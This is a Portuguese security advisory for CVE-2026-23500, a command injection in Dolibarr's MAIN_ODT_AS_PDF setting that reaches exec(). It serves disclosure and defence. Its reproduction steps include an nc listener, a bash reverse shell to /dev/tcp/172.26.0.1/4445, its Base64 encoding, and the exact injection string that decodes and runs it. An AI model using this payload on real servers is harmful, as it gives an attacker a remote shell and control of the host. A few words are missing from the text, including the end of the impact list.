
CVE-2026-23500 - Injeção de Comandos do SO (RCE) através da configuração MAIN_ODT_AS_PDF no Dolibarr
| Campo | Detalhes |
|---|---|
| ID do CVE | CVE-2026-23500 |
| Severidade | CRÍTICA |
| Aviso | GHSA-w5j3-8fcr-h87w |
| Descoberto por | Lukasz Rybak |
Um administrador autenticado pode executar comandos arbitrários do sistema operacional ao injetar uma carga maliciosa na constante de configuração MAIN_ODT_AS_PDF. Essa vulnerabilidade existe porque o aplicativo não valida nem escapa adequadamente o caminho do comando antes de passá-lo para a função exec() no processo de conversão de ODT para PDF.
A vulnerabilidade está localizada em htdocs/includes/odtphp/odf.php.
Quando o sistema tenta converter um documento ODT para PDF (por exemplo, em Propostas, Faturas), ele constrói um comando de shell usando a configuração global MAIN_ODT_AS_PDF.
Trecho de código (htdocs/includes/odtphp/odf.php, aproximadamente linha 930):
$command = getDolGlobalString('MAIN_ODT_AS_PDF').' '.escapeshellcmd($name);
// ...
exec($command, $output_arr, $retval);
Enquanto o nome do arquivo $name é sanitizado usando escapeshellcmd(), a variável de configuração MAIN_ODT_AS_PDF é recuperada diretamente do banco de dados e concatenada no início da string. Um atacante com privilégios administrativos pode definir essa variável para incluir um separador de comandos (como ;) seguido de comandos arbitrários.
Pré-requisitos:
Passos para reproduzir (Reverse Shell):
172.26.0.1, Porta: 4445):nc -lvnp 4445
Prepare a carga maliciosa. Para evitar problemas com caracteres especiais (como & ou >) sendo escapados pelo aplicativo web ou pelo shell, codifique o comando do reverse shell em Base64:
# Command: bash -c 'bash -i >& /dev/tcp/172.26.0.1/4445 0>&1'
echo "bash -c 'bash -i >& /dev/tcp/172.26.0.1/4445 0>&1'" | base64
# Output: YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjYuMC4xLzQ0NDUgMD4mMScK
Navegue até Home -> Setup -> Other Setup.
Adicione ou modifique a constante MAIN_ODT_AS_PDF com a seguinte carga de injeção:
jodconverter; echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjYuMC4xLzQ0NDUgMD4mMScK | base64 -d | bash
(Explicação: jodconverter atende à verificação inicial, ; atua como separador de comandos, e o pipeline decodifica e executa a carga em Base64).
Navegue até Commerce -> New proposal, crie um rascunho, selecione um modelo ODT (por exemplo, generic_proposal_odt) e clique em .
Execução Remota de Código (RCE).
Um atacante que obtenha acesso a uma conta de administrador (ou um administrador mal-intencionado) pode executar comandos arbitrários no servidor subjacente com os privilégios do usuário do servidor web (normalmente www-data). Isso permite:
Reportado por Łukasz Rybak
Este CVE foi divulgado de forma responsável, seguindo práticas de divulgação coordenada de vulnerabilidades. As informações fornecidas aqui são apenas para fins educacionais e defensivos.
